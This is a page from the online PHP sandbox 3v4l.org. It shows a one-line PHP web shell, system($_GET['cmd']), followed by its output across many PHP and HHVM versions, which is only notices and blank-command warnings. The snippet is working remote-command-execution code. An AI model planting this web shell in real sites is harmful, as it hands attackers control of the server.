3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php system($_GET['cmd']); ?>
Output for 5.3.0 - 5.6.28, 7.0.0 - 7.1.0
Notice: Undefined index: cmd in /in/Nclrt on line 1 Warning: system(): Cannot execute a blank command in /in/Nclrt on line 1
Output for hhvm-3.10.0 - 3.12.0
Notice: Undefined index: cmd in /in/Nclrt on line 1 Failed to exec: `'
Output for 4.3.2 - 5.2.17
Notice: Undefined index: cmd in /in/Nclrt on line 1 Warning: system(): Cannot execute a blank command in /in/Nclrt on line 1
Output for 4.3.0 - 4.3.1
Notice: Undefined index: cmd in /in/Nclrt on line 1 Warning: system() [http://www.php.net/function.system]: Cannot execute a blank command in /in/Nclrt on line 1